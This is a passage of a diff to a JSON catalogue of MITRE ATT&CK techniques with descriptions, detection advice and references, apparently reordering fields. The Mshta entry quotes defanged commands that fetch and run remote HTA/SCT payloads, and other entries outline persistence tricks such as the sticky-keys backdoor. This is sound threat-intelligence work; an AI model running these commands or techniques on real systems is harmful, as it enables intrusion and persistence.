- "macOS"
]
},
- "uuid": "6be14413-578e-46c1-8304-310762b3ecd5"
+ "uuid": "6be14413-578e-46c1-8304-310762b3ecd5",
+ "value": "Kernel Modules and Extensions - T1215"
},
{
"description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted. (Citation: Twitter Service Recovery Nov 2017)\n\nDetection: Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Services, Windows Registry\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Ability to modify service values in the Registry\n\nContributors: Matthew Demaske, Adaptforward, Travis Smith, Tripwire",
- "value": "Service Registry Permissions Weakness - T1058",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1058",
- "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "https://twitter.com/r0wdy%20/status/936365549553991680"
- ],
"external_id": "T1058",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence",
@@ -4380,23 +4372,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1058",
+ "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://twitter.com/r0wdy%20/status/936365549553991680"
]
},
- "uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427"
+ "uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427",
+ "value": "Service Registry Permissions Weakness - T1058"
},
{
"description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)\n\nDetection: Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
- "value": "Mshta - T1170",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1170",
- "https://en.wikipedia.org/wiki/HTML%20Application",
- "https://msdn.microsoft.com/library/ms536471.aspx",
- "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf",
- "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/",
- "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html",
- "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
- ],
"external_id": "T1170",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -4408,23 +4397,23 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1170",
+ "https://en.wikipedia.org/wiki/HTML%20Application",
+ "https://msdn.microsoft.com/library/ms536471.aspx",
+ "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf",
+ "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/",
+ "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html",
+ "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
]
},
- "uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec"
+ "uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec",
+ "value": "Mshta - T1170"
},
{
"description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe Net utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)\n\nDetection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator\n\nSystem Requirements: File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account.",
- "value": "Windows Admin Shares - T1077",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1077",
- "https://en.wikipedia.org/wiki/Server%20Message%20Block",
- "https://technet.microsoft.com/en-us/library/cc787851.aspx",
- "http://support.microsoft.com/kb/314984",
- "https://technet.microsoft.com/bb490717.aspx",
- "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx",
- "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx"
- ],
"external_id": "T1077",
"kill_chain": [
"mitre-attack:enterprise-attack:lateral-movement"
@@ -4437,19 +4426,23 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1077",
+ "https://en.wikipedia.org/wiki/Server%20Message%20Block",
+ "https://technet.microsoft.com/en-us/library/cc787851.aspx",
+ "http://support.microsoft.com/kb/314984",
+ "https://technet.microsoft.com/bb490717.aspx",
+ "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx",
+ "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx"
]
},
- "uuid": "ffe742ed-9100-4686-9e00-c331da544787"
+ "uuid": "ffe742ed-9100-4686-9e00-c331da544787",
+ "value": "Windows Admin Shares - T1077"
},
{
"description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.\n\nDetection: Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Praetorian",
- "value": "Winlogon Helper DLL - T1004",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1004",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
- ],
"external_id": "T1004",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -4461,19 +4454,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1004",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
]
},
- "uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79"
+ "uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79",
+ "value": "Winlogon Helper DLL - T1004"
},
{
"description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\n\nDetection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
- "value": "Dylib Hijacking - T1157",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1157",
- "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
- "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
- ],
"external_id": "T1157",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence",
@@ -4484,17 +4477,19 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1157",
+ "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
+ "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf"
]
},
- "uuid": "aa8bfbc9-78dc-41a4-a03b-7453e0fdccda"
+ "uuid": "aa8bfbc9-78dc-41a4-a03b-7453e0fdccda",
+ "value": "Dylib Hijacking - T1157"
},
{
"description": "An adversary may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nDetection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Active remote service accepting connections and valid credentials",
- "value": "Remote Services - T1021",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1021"
- ],
"external_id": "T1021",
"kill_chain": [
"mitre-attack:enterprise-attack:lateral-movement"
@@ -4506,20 +4501,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1021"
]
},
- "uuid": "54a649ff-439a-41a4-9856-8d144a2551ba"
+ "uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
+ "value": "Remote Services - T1021"
},
{
"description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n*On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n*Magnifier: C:\\Windows\\System32\\Magnify.exe\n*Narrator: C:\\Windows\\System32\\Narrator.exe\n*Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n*App Switcher: C:\\Windows\\System32\\AtBroker.exe\n\nDetection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator\n\nContributors: Paul Speulstra, AECOM Global Security Operations Center",
- "value": "Accessibility Features - T1015",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1015",
- "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html",
- "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom",
- "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/"
- ],
"external_id": "T1015",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence",
@@ -4532,18 +4524,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1015",
+ "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html",
+ "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom",
+ "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/"
]
},
- "uuid": "9b99b83a-1aac-4e29-b975-b374950551a3"
+ "uuid": "9b99b83a-1aac-4e29-b975-b374950551a3",
+ "value": "Accessibility Features - T1015"
},
{
"description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nPermissions Required: User\n\nSystem Requirements: Access to shared folders and content with write permissions\n\nContributors: David Routin",
- "value": "Taint Shared Content - T1080",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1080",
- "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html"
- ],
"external_id": "T1080",
"kill_chain": [
"mitre-attack:enterprise-attack:lateral-movement"
@@ -4554,18 +4548,18 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1080",
+ "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html"
]
},
- "uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c"
+ "uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
+ "value": "Taint Shared Content - T1080"
},
{
"description": "A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. This can happen in several ways, but there are a few main components: \n\nMultiple ways of delivering exploit code to a browser exist, including:\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n# A user visits a website that is used to host the adversary controlled content.\n# Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n#* The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n# Upon finding a vulnerable version, exploit code is delivered to the browser.\n# If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n#* In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nDetection: Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Packet capture, Network device logs, Process use of network, Web proxy, Network intrusion detection system, SSL/TLS inspection\n\nPermissions Required: User",
- "value": "Drive-by Compromise - T1189",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1189",
- "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/"
- ],
"external_id": "T1189",
"kill_chain": [
"mitre-attack:enterprise-attack:initial-access"
@@ -4582,18 +4576,18 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1189",
+ "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/"
]
},
- "uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6"
+ "uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6",
+ "value": "Drive-by Compromise - T1189"
},
{
"description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management can also be used externally.\n\nAdversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.\n\nDetection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: Daniel Oakley, Travis Smith, Tripwire",
- "value": "External Remote Services - T1133",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1133",
- "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
- ],
"external_id": "T1133",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -4603,17 +4597,18 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1133",
+ "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
]
},
- "uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d"
+ "uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d",
+ "value": "External Remote Services - T1133"
},
{
"description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nDetection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process use of network, Process monitoring\n\nSystem Requirements: Access to application deployment software (EPO, HPCA, Altiris, etc.)",
- "value": "Application Deployment Software - T1017",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1017"
- ],
"external_id": "T1017",
"kill_chain": [
"mitre-attack:enterprise-attack:lateral-movement"
@@ -4627,31 +4622,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1017"
]
},
- "uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61"
+ "uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
+ "value": "Application Deployment Software - T1017"
},
{
"description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via:\n* '''Hooks procedures''', which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017)\n* '''Import address table (IAT) hooking''', which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* '''Inline hooking''', which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by Rootkits to conceal files,\nprocesses, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)\n\nDetection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
- "value": "Hooking - T1179",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1179",
- "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx",
- "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/",
- "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/",
- "https://www.exploit-db.com/docs/17802.pdf",
- "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf",
- "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html",
- "https://github.com/prekageo/winhook",
- "https://github.com/jay/gethooks",
- "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/",
- "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/",
- "http://www.gmer.net/",
- "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx",
- "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
- ],
"external_id": "T1179",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access",
@@ -4668,17 +4649,31 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1179",
+ "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx",
+ "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
+ "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/",
